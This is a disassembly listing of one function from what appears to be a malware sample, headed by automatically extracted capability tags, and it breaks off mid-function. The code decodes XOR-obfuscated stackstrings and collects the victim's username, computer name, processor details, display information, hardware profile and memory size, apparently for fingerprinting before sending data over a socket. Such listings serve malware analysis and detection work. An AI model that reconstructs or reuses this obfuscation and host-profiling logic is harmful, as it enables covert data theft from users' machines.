Function at 0x448965
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Contain obfuscated stackstrings
Convert ip address from string
Create tcp socket
Create udp socket
Encode data using xor
Get memory capacity
Initialize winsock library
Inspect section memory permissions
Send data
Send data on socket

Disassembly:
push 0xc14
mov eax, 0x46e643
call fcn.0046bb7a
push 0x1c
pop ecx
push 0x52
xor ebx, ebx
mov dword [ebp - 0xbb0], ebx
pop eax
mov byte [ebp - 0x165], al
push 0x79
mov byte [ebp - 0x194], cl
pop eax
movsx ecx, cl
mov dword [ebp - 0x16c], 0x78736e4c
mov word [ebp - 0x168], 0x7f69
mov byte [ebp - 0x166], 0x68
mov word [ebp - 0x164], 0x717d
mov byte [ebp - 0x162], al
mov byte [ebp - 0x161], bl
call fcn.0043cfd7
mov dword [ebp - 0xbb4], eax
mov edx, ebx
push edx
lea ecx, [ebp - 0xbb4]
call fcn.0043d016
mov dword [ebp + edx*4 - 0x190], eax
inc edx
pop ecx
cmp edx, 8
jl 0x4489d0
push 0xb
lea eax, [ebp - 0x190]
push eax
lea eax, [ebp - 0x16c]
push eax
call fcn.0043d333
movsx ecx, byte [ebp - 0x194]
mov dword [ebp - 0x170], eax
call fcn.0043cfd7
mov dword [ebp - 0xbb4], eax
mov edx, ebx
push edx
lea ecx, [ebp - 0xbb4]
call fcn.0043d016
mov dword [ebp + edx*4 - 0x190], eax
inc edx
pop ecx
cmp edx, 8
jl 0x448a19
push dword [0x487200]
lea eax, [ebp - 0x190]
push eax
push dword [ebp - 0x170]
call fcn.0043d3a9
test eax, eax
jne 0x448a53
mov eax, ebx
jmp 0x448a67
mov dl, byte [ebp - 0x194]
mov ecx, ebx
xor byte [eax + ecx], dl
inc ecx
cmp ecx, 0xb
jb 0x448a5b
mov byte [eax + 0xb], bl
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0xbb8], esp
push eax
call fcn.0044b51b
mov dword [ebp - 4], ebx
movaps xmm0, xmmword [str._3:_.9_1]
push 0x7c
pop eax
push 0x19
pop ecx
movups xmmword [ebp - 0x194], xmm0
mov byte [ebp - 0x172], cl
movaps xmm0, xmmword [0x47f1e0]
mov byte [ebp - 0x16e], cl
movsx ecx, al
mov byte [ebp - 0x1bc], al
movups xmmword [ebp - 0x184], xmm0
mov word [ebp - 0x174], 0xe0e
mov word [ebp - 0x171], 0x812
mov byte [ebp - 0x16f], 0x2a
mov dword [ebp - 0x16d], 0x13150f0e
mov word [ebp - 0x169], 0x12
call fcn.0043cfd7
mov dword [ebp - 0xbb4], eax
mov edx, ebx
push edx
lea ecx, [ebp - 0xbb4]
call fcn.0043d016
mov dword [ebp + edx*4 - 0x1b8], eax
inc edx
pop ecx
cmp edx, 8
jl 0x448aeb
push 0x2c
lea eax, [ebp - 0x1b8]
push eax
lea eax, [ebp - 0x194]
push eax
call fcn.0043d333
movsx ecx, byte [ebp - 0x1bc]
mov dword [ebp - 0x198], eax
call fcn.0043cfd7
mov dword [ebp - 0xbb4], eax
mov edx, ebx
push edx
lea ecx, [ebp - 0xbb4]
call fcn.0043d016
mov dword [ebp + edx*4 - 0x1b8], eax
inc edx
pop ecx
cmp edx, 8
jl 0x448b34
push dword [0x487200]
lea eax, [ebp - 0x1b8]
push eax
push dword [ebp - 0x198]
call fcn.0043d3a9
test eax, eax
jne 0x448b6e
mov eax, ebx
jmp 0x448b82
mov dl, byte [ebp - 0x1bc]
mov ecx, ebx
xor byte [ecx + eax], dl
inc ecx
cmp ecx, 0x2c
jb 0x448b76
mov byte [eax + 0x2c], bl
sub esp, 0x18
mov ecx, esp
push eax
call fcn.0044b51b
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x244]
mov edx, connect
call fcn.0043f5e1
add esp, 0x30
mov esi, 0x47a7c4
mov dword [ebp - 4], 1
push esi
lea ecx, [ebp - 0x244]
call fcn.0044cae0
test al, al
jne 0x448c5d
push 0xffffffffffffffff
push 8
lea eax, [ebp - 0x274]
push eax
lea ecx, [ebp - 0x244]
call fcn.0044b2f0
lea ecx, [ebp - 0x244]
cmp ecx, eax
je 0x448bf6
mov byte [ebp - 0xbb4], bl
push dword [ebp - 0xbb4]
push eax
call fcn.0044ba6a
lea ecx, [ebp - 0x274]
call fcn.0044b89e
push esi
lea ecx, [ebp - 0x244]
call fcn.0044cae0
test al, al
jne 0x448c5d
push ecx
push 0x47b24c
lea ecx, [ebp - 0x244]
call fcn.0044b37c
push eax
push ebx
lea eax, [ebp - 0x274]
push eax
lea ecx, [ebp - 0x244]
call fcn.0044b2f0
lea ecx, [ebp - 0x244]
cmp ecx, eax
je 0x448c52
mov byte [ebp - 0xbb4], bl
push dword [ebp - 0xbb4]
push eax
call fcn.0044ba6a
lea ecx, [ebp - 0x274]
call fcn.0044b89e
push 0x104
lea eax, [ebp - 0x11c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push str.PROCESSOR_ARCHITECTURE
call fcn.00456a73
mov ebx, eax
mov dword [esp], str.PROCESSOR_IDENTIFIER
call fcn.00456a73
mov edi, eax
mov dword [esp], str.COMPUTERNAME
call fcn.00456a73
mov esi, eax
mov dword [esp], str.USERNAME
call fcn.00456a73
pop ecx
xor ecx, ecx
mov dword [ebp - 0x218], 0xf
mov dword [ebp - 0x22c], ecx
mov dword [ebp - 0x21c], ecx
mov byte [ebp - 0x22c], cl
lea ecx, [ebp - 0x22c]
push eax
call fcn.0044b945
push 2
pop eax
push esi
lea ecx, [ebp - 0x22c]
mov byte [ebp - 4], al
call fcn.0044b441
push eax
lea ecx, [ebp - 0x28c]
call fcn.0044b4e8
push edi
lea ecx, [ebp - 0x28c]
mov byte [ebp - 4], 3
call fcn.0044b441
push eax
lea ecx, [ebp - 0x214]
call fcn.0044b4e8
push ebx
lea ecx, [ebp - 0x214]
mov byte [ebp - 4], 4
call fcn.0044b441
push eax
lea ecx, [ebp - 0x1e4]
call fcn.0044b4e8
lea ecx, [ebp - 0x1cc]
mov byte [ebp - 4], 5
call fcn.0042e1ed
cmp dword [ebp - 0x1d0], 0x10
lea eax, [ebp - 0x1e4]
push dword [ebp - 0x1d4]
cmovae eax, dword [ebp - 0x1e4]
push eax
call fcn.0042e94d
lea ecx, [ebp - 0x1cc]
call fcn.0042e9ef
lea eax, [ebp - 0x6c4]
push eax
lea ecx, [ebp - 0x1cc]
call fcn.0042ea81
lea ecx, [ebp - 0x1e4]
mov dword [ebp - 0xbb0], 0x78
call fcn.0044b89e
lea ecx, [ebp - 0x214]
call fcn.0044b89e
lea ecx, [ebp - 0x28c]
call fcn.0044b89e
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x22c]
call fcn.0044b89e
push 0xf
xor ebx, ebx
lea ecx, [ebp - 0x1fc]
pop esi
mov dword [ebp - 0x1fc], ebx
push 0x47a7c4
mov dword [ebp - 0x1ec], ebx
mov dword [ebp - 0x1e8], esi
mov byte [ebp - 0x1fc], bl
call fcn.0044b945
push 0x40
lea eax, [ebp - 0xa04]
mov byte [ebp - 4], 0xa
push ebx
push eax
call fcn.004510e0
add esp, 0xc
mov dword [ebp - 0xa04], 0x40
lea eax, [ebp - 0xba8]
mov dword [ebp - 0xbac], 0x1a8
push 0x1a4
push ebx
push eax
call fcn.004510e0
add esp, 0xc
lea eax, [ebp - 0xbac]
push 1
push eax
push ebx
push ebx
call dword [sym.imp.USER32.dll_EnumDisplayDevicesA]
lea eax, [ebp - 0xb88]
mov dword [ebp - 0x25c], ebx
push eax
lea ecx, [ebp - 0x25c]
mov dword [ebp - 0x24c], ebx
mov dword [ebp - 0x248], esi
mov byte [ebp - 0x25c], bl
call fcn.0044b945
mov byte [ebp - 4], 0xb
lea eax, [ebp - 0x274]
push dword [ebp - 0xbac]
lea ecx, [ebp - 0x25c]
push ebx
push eax
call fcn.0044b2f0
lea ecx, [ebp - 0x25c]
cmp ecx, eax
je 0x448e92
mov byte [ebp - 0xbb4], bl
push dword [ebp - 0xbb4]
push eax
call fcn.0044ba6a
lea ecx, [ebp - 0x274]
call fcn.0044b89e
push ebx
push ebx
push ebx
push str.DISPLAY
call dword [sym.imp.GDI32.dll_CreateDCA]
mov edi, eax
mov dword [ebp - 0x170], 0x2710727f
push 0x52
pop eax
movsx ecx, al
mov dword [ebp - 0xbb8], edi
mov byte [ebp - 0x198], al
mov dword [ebp - 0x16c], 0x2363e3b
mov dword [ebp - 0x168], 0x683a2633
mov word [ebp - 0x164], 0x72
call fcn.0043cfd7
mov dword [ebp - 0xbb4], eax
mov edx, ebx
push edx
lea ecx, [ebp - 0xbb4]
call fcn.0043d016
mov dword [ebp + edx*4 - 0x194], eax
inc edx
pop ecx
cmp edx, 8
jl 0x448ef3
push 0xd
pop eax
push eax
lea eax, [ebp - 0x194]
push eax
lea eax, [ebp - 0x170]
push eax
call fcn.0043d333
movsx ecx, byte [ebp - 0x198]
mov dword [ebp - 0x174], eax
call fcn.0043cfd7
mov dword [ebp - 0xbb4], eax
mov edx, ebx
push edx
lea ecx, [ebp - 0xbb4]
call fcn.0043d016
mov dword [ebp + edx*4 - 0x194], eax
inc edx
pop ecx
cmp edx, 8
jl 0x448f3e
push dword [0x487200]
lea eax, [ebp - 0x194]
push eax
push dword [ebp - 0x174]
call fcn.0043d3a9
mov ebx, eax
mov dword [ebp - 0xbb4], ebx
test ebx, ebx
jne 0x448f84
and dword [ebp - 0xbb4], eax
jmp 0x448f9b
mov cl, byte [ebp - 0x198]
xor eax, eax
push 0xd
pop edx
xor byte [ebx + eax], cl
inc eax
cmp eax, edx
jb 0x448f8f
mov byte [ebx + 0xd], 0
mov esi, dword [sym.imp.GDI32.dll_GetDeviceCaps]
push 0xa
push edi
call esi
mov edx, eax
lea ecx, [ebp - 0x2a4]
call fcn.0042a666
mov dword [ebp - 0xbf0], eax
push 0xc
pop eax
push 8
push edi
mov byte [ebp - 4], al
call esi
mov edx, eax
lea ecx, [ebp - 0x784]
call fcn.0042a666
mov dword [ebp - 0xc18], eax
push 0xd
pop eax
mov byte [ebp - 4], al
push 0x47
pop ecx
push 0x35
mov byte [ebp - 0x198], cl
pop eax
movsx ecx, cl
mov dword [ebp - 0x170], 0x2414676a
mov byte [ebp - 0x16c], al
mov dword [ebp - 0x16b], 0x14292222
mov dword [ebp - 0x167], 0x7d223d2e
mov word [ebp - 0x163], 0x67
call fcn.0043cfd7
mov dword [ebp - 0xbe8], eax
xor edx, edx
push edx
lea ecx, [ebp - 0xbe8]
call fcn.0043d016
mov dword [ebp + edx*4 - 0x194], eax
inc edx
pop ecx
cmp edx, 8
jl 0x449026
push 0xe
lea eax, [ebp - 0x194]
push eax
lea eax, [ebp - 0x170]
push eax
call fcn.0043d333
movsx ecx, byte [ebp - 0x198]
mov dword [ebp - 0x174], eax
call fcn.0043cfd7
mov dword [ebp - 0xbe8], eax
xor edx, edx
push edx
lea ecx, [ebp - 0xbe8]
call fcn.0043d016
mov dword [ebp + edx*4 - 0x194], eax
inc edx
pop ecx
cmp edx, 8
jl 0x44906f
push dword [0x487200]
lea eax, [ebp - 0x194]
push eax
push dword [ebp - 0x174]
call fcn.0043d3a9
mov ebx, eax
mov dword [ebp - 0xbe8], ebx
test ebx, ebx
jne 0x4490b5
and dword [ebp - 0xbe8], eax
jmp 0x4490ca
mov cl, byte [ebp - 0x198]
xor eax, eax
xor byte [eax + ebx], cl
inc eax
cmp eax, 0xe
jb 0x4490bd
mov byte [ebx + 0xe], 0
lea eax, [ebp - 0x834]
push eax
call dword [sym.imp.ADVAPI32.dll_GetCurrentHwProfileA]
test eax, eax
mov dword [ebp - 0x16c], 0x7f600805
lea ecx, [ebp - 0x830]
mov dword [ebp - 0x168], 0x8126c61
mov esi, str.null
mov byte [ebp - 0x164], 0
cmove ecx, esi
push 0x28
pop eax
mov dword [ebp - 0xbf8], ecx
movsx ecx, al
mov byte [ebp - 0x194], al
call fcn.0043cfd7
mov dword [ebp - 0xbe4], eax
xor edx, edx
push edx
lea ecx, [ebp - 0xbe4]
call fcn.0043d016
mov dword [ebp + edx*4 - 0x190], eax
inc edx
pop ecx
cmp edx, 8
jl 0x449121
push 8
lea eax, [ebp - 0x190]
push eax
lea eax, [ebp - 0x16c]
push eax
call fcn.0043d333
movsx ecx, byte [ebp - 0x194]
mov dword [ebp - 0x170], eax
call fcn.0043cfd7
mov dword [ebp - 0xbe4], eax
xor edx, edx
push edx
lea ecx, [ebp - 0xbe4]
call fcn.0043d016
mov dword [ebp + edx*4 - 0x190], eax
inc edx
pop ecx
cmp edx, 8
jl 0x44916a
push dword [0x487200]
lea eax, [ebp - 0x190]
push eax
push dword [ebp - 0x170]
call fcn.0043d3a9
mov ebx, eax
mov dword [ebp - 0xbe4], ebx
test ebx, ebx
jne 0x4491b0
and dword [ebp - 0xbe4], eax
jmp 0x4491c5
mov cl, byte [ebp - 0x194]
xor eax, eax
xor byte [eax + ebx], cl
inc eax
cmp eax, 8
jb 0x4491b8
mov byte [ebx + 8], 0
lea ecx, [ebp - 0x76c]
call fcn.00448885
mov dword [ebp - 0xc10], eax
push 0x1b
pop eax
mov byte [ebp - 4], 0xe
movsx ecx, al
mov byte [ebp - 0x190], al
mov dword [ebp - 0x168], 0x4b583b36
mov dword [ebp - 0x164], 0x3b214e
call fcn.0043cfd7
mov dword [ebp - 0xbe0], eax
xor edx, edx
push edx
lea ecx, [ebp - 0xbe0]
call fcn.0043d016
mov dword [ebp + edx*4 - 0x18c], eax
inc edx
pop ecx
cmp edx, 8
jl 0x449207
push 7
pop edi
push edi
lea eax, [ebp - 0x18c]
push eax
lea eax, [ebp - 0x168]
push eax
call fcn.0043d333
movsx ecx, byte [ebp - 0x190]
mov dword [ebp - 0x16c], eax
call fcn.0043cfd7
mov dword [ebp - 0xbe0], eax
xor edx, edx
push edx
lea ecx, [ebp - 0xbe0]
call fcn.0043d016
mov dword [ebp + edx*4 - 0x18c], eax
inc edx
pop ecx
cmp edx, 8
jl 0x449252
push dword [0x487200]
lea eax, [ebp - 0x18c]
push eax
push dword [ebp - 0x16c]
call fcn.0043d3a9
mov ebx, eax
mov dword [ebp - 0xbe0], ebx
test ebx, ebx
jne 0x449298
and dword [ebp - 0xbe0], eax
jmp 0x4492ac
mov cl, byte [ebp - 0x190]
xor eax, eax
xor byte [ebx + eax], cl
inc eax
cmp eax, edi
jb 0x4492a0
mov byte [ebx + 7], 0
push 0x43
pop edx
push 0x63
pop eax
push 0x79
pop ecx
mov byte [ebp - 0x163], cl
movsx ecx, dl
mov byte [ebp - 0x190], dl
mov byte [ebp - 0x168], 0x6e
mov byte [ebp - 0x167], al
mov word [ebp - 0x166], 0x1304
mov byte [ebp - 0x164], 0x16
mov byte [ebp - 0x162], al
mov byte [ebp - 0x161], 0
call fcn.0043cfd7
mov dword [ebp - 0xbec], eax
xor edx, edx
push edx
lea ecx, [ebp - 0xbec]
call fcn.0043d016
mov dword [ebp + edx*4 - 0x18c], eax
inc edx
pop ecx
cmp edx, 8
jl 0x4492fb
push edi
lea eax, [ebp - 0x18c]
push eax
lea eax, [ebp - 0x168]
push eax
call fcn.0043d333
movsx ecx, byte [ebp - 0x190]
mov dword [ebp - 0x16c], eax
call fcn.0043cfd7
mov dword [ebp - 0xbec], eax
xor edx, edx
push edx
lea ecx, [ebp - 0xbec]
call fcn.0043d016
mov dword [ebp + edx*4 - 0x18c], eax
inc edx
pop ecx
cmp edx, 8
jl 0x449343
push dword [0x487200]
lea eax, [ebp - 0x18c]
push eax
push dword [ebp - 0x16c]
call fcn.0043d3a9
mov ebx, eax
mov dword [ebp - 0xbec], ebx
test ebx, ebx
jne 0x449389
and dword [ebp - 0xbec], eax
jmp 0x44939d
mov cl, byte [ebp - 0x190]
xor eax, eax
xor byte [ebx + eax], cl
inc eax
cmp eax, edi
jb 0x449391
mov byte [ebx + 7], 0
lea eax, [ebp - 0xa04]
push eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
cmp eax, 1
jne 0x449429
mov ecx, dword [ebp - 0x9fc]
mov eax, dword [ebp - 0x9f8]
shrd ecx, eax, 0x14
shr eax, 0x14
push eax
push ecx
lea ecx, [ebp - 0x1cf]
call fcn.0044ce0b
add esp, 4
lea ecx, [ebp - 0x1cf]
push ecx
push eax
lea ecx, [ebp - 0x274]
call fcn.0044cddc
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x274]
push 0x47efbc
mov dword [ebp - 0xbb0], 0x1f9
call fcn.0044b441
push eax
lea ecx, [ebp - 0x178]
call fcn.0044b4e8
lea esi, [ebp - 0x178]
mov dword [ebp - 4], 0x10
mov dword [ebp - 0xbf4], esi
mov ebx, 0x3fb
jmp 0x44946a
and dword [ebp - 0x214], 0
lea ecx, [ebp - 0x214]
and dword [ebp - 0x204], 0
push esi
mov dword [ebp - 0x200], 0xf
mov byte [ebp - 0x214], 0
call fcn.0044b945
lea eax, [ebp - 0x214]
mov dword [ebp - 4], 0x11
push 0x7c
mov dword [ebp - 0xbf4], eax
pop ebx
push 0x79
pop eax
movsx ecx, al
mov dword [ebp - 0xbb0], ebx
mov byte [ebp - 0x14c], al
mov dword [ebp - 0x124], 0x382b5954
mov dword [ebp - 0x120], 0x594334
call fcn.0043cfd7
mov dword [ebp - 0xbc0], eax
xor edx, edx
push edx
lea ecx, [ebp - 0xbc0]
call fcn.0043d016
mov dword [ebp + edx*4 - 0x148], eax
inc edx
pop ecx
cmp edx, 8
jl 0x44949d
push edi
lea eax, [ebp - 0x148]
push eax
lea eax, [ebp - 0x124]
push eax
call fcn.0043d333
movsx ecx, byte [ebp - 0x14c]
mov dword [ebp - 0x128], eax
call fcn.0043cfd7
mov dword [ebp - 0xbc0], eax
xor edx, edx
push edx
lea ecx, [ebp - 0xbc0]
call fcn.0043d016
mov dword [ebp + edx*4 - 0x148], eax
inc edx
pop ecx
cmp edx, 8
jl 0x4494e5
push dword [0x487200]
lea eax, [ebp - 0x148]
push eax
push dword [ebp - 0x128]
call fcn.0043d3a9
mov esi, eax
mov dword [ebp - 0xbc0], esi
test esi, esi
jne 0x44952b
and dword [ebp - 0xbc0], eax
jmp 0x44953f
mov cl, byte [ebp - 0x14c]
xor eax, eax
xor byte [esi + eax], cl
inc eax
cmp eax, edi
jb 0x449533
mov byte [esi + 7], 0
push str.USERNAME
call fcn.00456a73
movaps xmm0, xmmword [0x47f510]
pop ecx
mov dword [ebp - 0xc14], eax
push 0xd
pop eax
movsx ecx, al
mov byte [ebp - 0x15c], al
movups xmmword [ebp - 0x134], xmm0
mov dword [ebp - 0x124], 0x2d376860
mov byte [ebp - 0x120], 0
call fcn.0043cfd7
mov dword [ebp - 0xbc4], eax
xor edx, edx
push edx
lea ecx, [ebp - 0xbc4]
call fcn.0043d016
mov dword [ebp + edx*4 - 0x158], eax
inc edx
pop ecx
cmp edx, 8
jl 0x449588
push 0x14
lea eax, [ebp - 0x158]
push eax
lea eax, [ebp - 0x134]
push eax
call fcn.0043d333
movsx ecx, byte [ebp - 0x15c]
mov dword [ebp - 0x138], eax
call fcn.0043cfd7
mov dword [ebp - 0xbc4], eax
xor edx, edx
push edx
lea ecx, [ebp - 0xbc4]
call fcn.0043d016
mov dword [ebp + edx*4 - 0x158], eax
inc edx
pop ecx
cmp edx, 8
jl 0x4495d1
push dword [0x487200]
lea eax, [ebp - 0x158]
push eax
push dword [ebp - 0x138]
call fcn.0043d3a9
mov esi, eax
mov dword [ebp - 0xbc4], esi
test esi, esi
jne 0x449617
and dword [ebp - 0xbc4], eax
jmp 0x44962c
mov cl, byte [ebp - 0x15c]
xor eax, eax
xor byte [eax + esi], cl
inc eax
cmp eax, 0x14
jb 0x44961f
mov byte [esi + 0x14], 0
push 0x56
pop eax
push 0x25
pop ecx
mov byte [ebp - 0x120], cl
movsx ecx, al
mov byte [ebp - 0x150], al
mov dword [ebp - 0x128], 0x3f01767b
mov dword [ebp - 0x124], 0x21393238
mov word [ebp - 0x11f], 0x766c
mov byte [ebp - 0x11d], 0
call fcn.0043cfd7
mov dword [ebp - 0xbc8], eax
xor edx, edx
push edx
lea ecx, [ebp - 0xbc8]
call fcn.0043d016
mov dword [ebp + edx*4 - 0x14c], eax
inc edx
pop ecx
cmp edx, 8
jl 0x449672
push 0xb
lea eax, [ebp - 0x14c]
push eax
lea eax, [ebp - 0x128]
push eax
call fcn.0043d333
movsx ecx, byte [ebp - 0x150]
mov dword [ebp - 0x12c], eax
call fcn.0043cfd7
mov dword [ebp - 0xbc8], eax
xor edx, edx
push edx
lea ecx, [ebp - 0xbc8]
call fcn.0043d016
mov dword [ebp + edx*4 - 0x14c], eax
inc edx
pop ecx
cmp edx, 8
jl 0x4496bb
push dword [0x487200]
lea eax, [ebp - 0x14c]
push eax
push dword [ebp - 0x12c]
call fcn.0043d3a9
mov esi, eax
mov dword [ebp - 0xbc8], esi
test esi, esi
jne 0x449701
and dword [ebp - 0xbc8], eax
jmp 0x449716
mov cl, byte [ebp - 0x150]
xor eax, eax
xor byte [esi + eax], cl
inc eax
cmp eax, 0xb
jb 0x449709
mov byte [esi + 0xb], 0
push 0
push 0x66df8d04
lea ecx, [ebp - 0x1cf]
call fcn.0044ce0b
add esp, 4
lea ecx, [ebp - 0x1cf]
push ecx
push eax
lea ecx, [ebp - 0x67c]
call fcn.0044cddc
or ebx, 0xc00
mov dword [ebp - 0xbb0], ebx
mov dword [ebp - 4], 0x12
push 0x17
pop eax
movsx ecx, al
mov byte [ebp - 0x150], al
mov dword [ebp - 0x128], 0x6442373a
mov dword [ebp - 0x124], 0x535e6572
mov word [ebp - 0x120], 0x372d
mov byte [ebp - 0x11e], 0
call fcn.0043cfd7
mov dword [ebp - 0xbcc], eax
xor edx, edx
push edx
lea ecx, [ebp - 0xbcc]
call fcn.0043d016
mov dword [ebp + edx*4 - 0x14c], eax
inc edx
pop ecx
cmp edx, 8
jl 0x44978e
push 0xa
lea eax, [ebp - 0x14c]
push eax
lea eax, [ebp - 0x128]
push eax
call fcn.0043d333
movsx ecx, byte [ebp - 0x150]
mov dword [ebp - 0x12c], eax
call fcn.0043cfd7
mov dword [ebp - 0xbcc], eax
xor edx, edx
push edx
lea ecx, [ebp - 0xbcc]
call fcn.0043d016
mov dword [ebp + edx*4 - 0x14c], eax
inc edx
pop ecx
cmp edx, 8
jl 0x4497d7
push dword [0x487200]
lea eax, [ebp - 0x14c]
push eax
push dword [ebp - 0x12c]
call fcn.0043d3a9
mov esi, eax
mov dword [ebp - 0xbcc], esi
test esi, esi
jne 0x44981d
and dword [ebp - 0xbcc], eax
jmp 0x449832
mov cl, byte [ebp - 0x150]
xor eax, eax
xor byte [eax + esi], cl
inc eax
cmp eax, 0xa
jb 0x449825
mov byte [esi + 0xa], 0
push 0x25
pop eax
movsx ecx, al
mov byte [ebp - 0x150], al
mov dword [ebp - 0x128], 0x66750508
mov dword [ebp - 0x124], 0x56446d05
mov dword [ebp - 0x120], 0x51f4d
call fcn.0043cfd7
mov dword [ebp - 0xbd0], eax
xor edx, edx
push edx
lea ecx, [ebp - 0xbd0]
call fcn.0043d016
mov dword [ebp + edx*4 - 0x14c], eax
inc edx
pop ecx
cmp edx, 8
jl 0x449869
push 0xb
lea eax, [ebp - 0x14c]
push eax
lea eax, [ebp - 0x128]
push eax
call fcn.0043d333
movsx ecx, byte [ebp - 0x150]
mov dword [ebp - 0x12c], eax
call fcn.0043cfd7
mov dword [ebp - 0xbd0], eax
xor edx, edx
push edx
lea ecx, [ebp - 0xbd0]
call fcn.0043d016
mov dword [ebp + edx*4 - 0x14c], eax
inc edx
pop ecx
cmp edx, 8
jl 0x4498b2
push dword [0x487200]
lea eax, [ebp - 0x14c]
push eax
push dword [ebp - 0x12c]
call fcn.0043d3a9
mov esi, eax
xor edx, edx
mov dword [ebp - 0xbd0], esi
test esi, esi
jne 0x4498fa
mov dword [ebp - 0xbd0], edx
jmp 0x44990e
mov cl, byte [ebp - 0x150]
mov eax, edx
xor byte [esi + eax], cl
inc eax
cmp eax, 0xb
jb 0x449902
mov byte [esi + 0xb], dl
mov dword [ebp - 0x22c], edx
lea ecx, [ebp - 0x22c]
push str.ltzViper
mov dword [ebp - 0x21c], edx
mov dword [ebp - 0x218], 0xf
mov byte [ebp - 0x22c], dl
call fcn.0044b945
mov byte [ebp - 4], 0x13
push 0x35
pop eax
movsx ecx, al
mov byte [ebp - 0x154], al
mov dword [ebp - 0x12c], 0x40771518
mov dword [ebp - 0x128], 0x6151595c
mov dword [ebp - 0x124], 0x150f5254
mov byte [ebp - 0x120], 0
call fcn.0043cfd7
mov dword [ebp - 0xbd4], eax
xor edx, edx
push edx
lea ecx, [ebp - 0xbd4]
call fcn.0043d016
mov dword [ebp + edx*4 - 0x150], eax
inc edx
pop ecx
cmp edx, 8
jl 0x44997c
push 0xc
lea eax, [ebp - 0x150]
push eax
lea eax, [ebp - 0x12c]
push eax
call fcn.0043d333
movsx ecx, byte [ebp - 0x154]
mov dword [ebp - 0x130], eax
call fcn.0043cfd7
mov dword [ebp - 0xbd4], eax
xor edx, edx
push edx
lea ecx, [ebp - 0xbd4]
call fcn.0043d016
mov dword [ebp + edx*4 - 0x150], eax
inc edx
pop ecx
cmp edx, 8
jl 0x4499c5
push dword [0x487200]
lea eax, [ebp - 0x150]
push eax
push dword [ebp - 0x130]
call fcn.0043d3a9
mov esi, eax
mov dword [ebp - 0xbd4], esi
test esi, esi
jne 0x449a0b
and dword [ebp - 0xbd4], eax
jmp 0x449a20
mov cl, byte [ebp - 0x154]
xor eax, eax
xor byte [eax + esi], cl
inc eax
cmp eax, 0xc
jb 0x449a13
mov byte [esi + 0xc], 0
mov edx, dword [0x486fa4]
lea ecx, [ebp - 0x754]
call fcn.0042a666
mov dword [ebp - 0xbfc], eax
mov byte [ebp - 4], 0x14
push 0x23
pop eax
movsx ecx, al
mov byte [ebp - 0x150], al
mov dword [ebp - 0x128], 0x4a65030e
mov dword [ebp - 0x124], 0x1950464f
mov word [ebp - 0x120], 3
call fcn.0043cfd7
mov dword [ebp - 0xbd8], eax
xor edx, edx
push edx
lea ecx, [ebp - 0xbd8]
call fcn.0043d016
mov dword [ebp + edx*4 - 0x14c], eax
inc edx
pop ecx
cmp edx, 8
jl 0x449a71
push 9
pop edi
push edi
lea eax, [ebp - 0x14c]
push eax
lea eax, [ebp - 0x128]
push eax
call fcn.0043d333
movsx ecx, byte [ebp - 0x150]
mov dword [ebp - 0x12c], eax
call fcn.0043cfd7
mov dword [ebp - 0xbd8], eax
xor edx, edx
push edx
lea ecx, [ebp - 0xbd8]
call fcn.0043d016
mov dword [ebp + edx*4 - 0x14c], eax
inc edx
pop ecx
cmp edx, 8
jl 0x449abc
push dword [0x487200]
lea eax, [ebp - 0x14c]
push eax
push dword [ebp - 0x12c]
call fcn.0043d3a9
mov esi, eax
mov dword [ebp - 0xbd8], esi
test esi, esi
jne 0x449b02
and dword [ebp - 0xbd8], eax
jmp 0x449b16
mov cl, byte [ebp - 0x150]
xor eax, eax
xor byte [esi + eax], cl
inc eax
cmp eax, edi
jb 0x449b0a
mov byte [esi + 9], 0
mov edx, dword [0x486f9c]
lea ecx, [ebp - 0x73c]
call fcn.0042a666
mov dword [ebp - 0xc00], eax
mov byte [ebp - 4], 0x15
push 0xd
pop eax
movsx ecx, al
mov byte [ebp - 0x150], al
mov dword [ebp - 0x128], 0x6c4e2d20
mov dword [ebp - 0x124], 0x377e697f
mov word [ebp - 0x120], 0x2d
call fcn.0043cfd7
mov dword [ebp - 0xbdc], eax
xor edx, edx
push edx
lea ecx, [ebp - 0xbdc]
call fcn.0043d016
mov dword [ebp + edx*4 - 0x14c], eax
inc edx
pop ecx
cmp edx, 8
jl 0x449b67
push edi
lea eax, [ebp - 0x14c]
push eax
lea eax, [ebp - 0x128]
push eax
call fcn.0043d333
movsx ecx, byte [ebp - 0x150]
mov dword [ebp - 0x12c], eax
call fcn.0043cfd7
mov dword [ebp - 0xbdc], eax
xor edx, edx
push edx
lea ecx, [ebp - 0xbdc]
call fcn.0043d016
mov dword [ebp + edx*4 - 0x14c], eax
inc edx
pop ecx
cmp edx, 8
jl 0x449baf
push dword [0x487200]
lea eax, [ebp - 0x14c]
push eax
push dword [ebp - 0x12c]
call fcn.0043d3a9
mov esi, eax
mov dword [ebp - 0xbdc], esi
test esi, esi
jne 0x449bf5
and dword [ebp - 0xbdc], eax
jmp 0x449c09
mov cl, byte [ebp - 0x150]
xor eax, eax
xor byte [esi + eax], cl
inc eax
cmp eax, edi
jb 0x449bfd
mov byte [esi + 9], 0
mov edx, dword [0x486f84]
lea ecx, [ebp - 0x724]
call fcn.0042a666
mov dword [ebp - 0xc04], eax
push 0xc
pop eax
mov byte [ebp - 4], 0x16
push 0x79
pop ecx
mov byte [ebp - 0x129], cl
movsx ecx, al
mov byte [ebp - 0x154], al
mov word [ebp - 0x12c], 0x2c21
mov byte [ebp - 0x12a], 0x4d
mov dword [ebp - 0x128], 0x656a6378
mov dword [ebp - 0x124], 0x2c366060
mov byte [ebp - 0x120], 0
call fcn.0043cfd7
mov dword [ebp - 0xbbc], eax
xor edx, edx
push edx
lea ecx, [ebp - 0xbbc]
call fcn.0043d016
mov dword [ebp + edx*4 - 0x150], eax
inc edx
pop ecx
cmp edx, 8
jl 0x449c71
push 0xc
pop esi
push esi
lea eax, [ebp - 0x150]
push eax
lea eax, [ebp - 0x12c]
push eax
call fcn.0043d333
movsx ecx, byte [ebp - 0x154]
mov dword [ebp - 0x130], eax
call fcn.0043cfd7
mov dword [ebp - 0xbbc], eax
xor edx, edx
push edx
lea ecx, [ebp - 0xbbc]
call fcn.0043d016
mov dword [ebp + edx*4 - 0x150], eax
inc edx
pop ecx
